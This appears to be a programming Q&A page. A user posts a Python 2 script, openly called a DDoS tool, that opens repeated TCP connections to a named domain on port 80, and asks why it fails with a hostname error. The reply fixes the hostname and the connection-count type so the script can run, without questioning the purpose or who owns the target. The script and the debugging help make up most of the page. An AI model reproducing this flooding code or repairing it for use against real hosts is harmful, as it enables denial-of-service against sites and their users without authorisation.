Search code examples
pythonsocketsddos

Getting error when my python ddos script running


I am trying to attack my server and I have this little ddos python script for that. But unfortunately I got this error:

ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed

Any idea how to solve this problem?

And this is the script:

import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

Solution

  • Host name should be name of the host (hajnalgroup.com), not url (http://hajnalgroup.com).

    >>> import socket
    >>> socket.gethostbyname("http://hajnalgroup.com")
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    socket.gaierror: [Errno 11004] getaddrinfo failed
    >>> socket.gethostbyname("hajnalgroup.com")
    '89.134.187.222'
    

    Replace following line:

    host = "http://hajnalgroup.com"
    

    with:

    host = "hajnalgroup.com"
    

    UPDATE

    All arguments to the range function should be int objects:

    >>> range(1, 10)
    [1, 2, 3, 4, 5, 6, 7, 8, 9]
    >>> range(1, "10")
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: range() integer end argument expected, got str.
    

    Replace conn = "100" with conn = 100.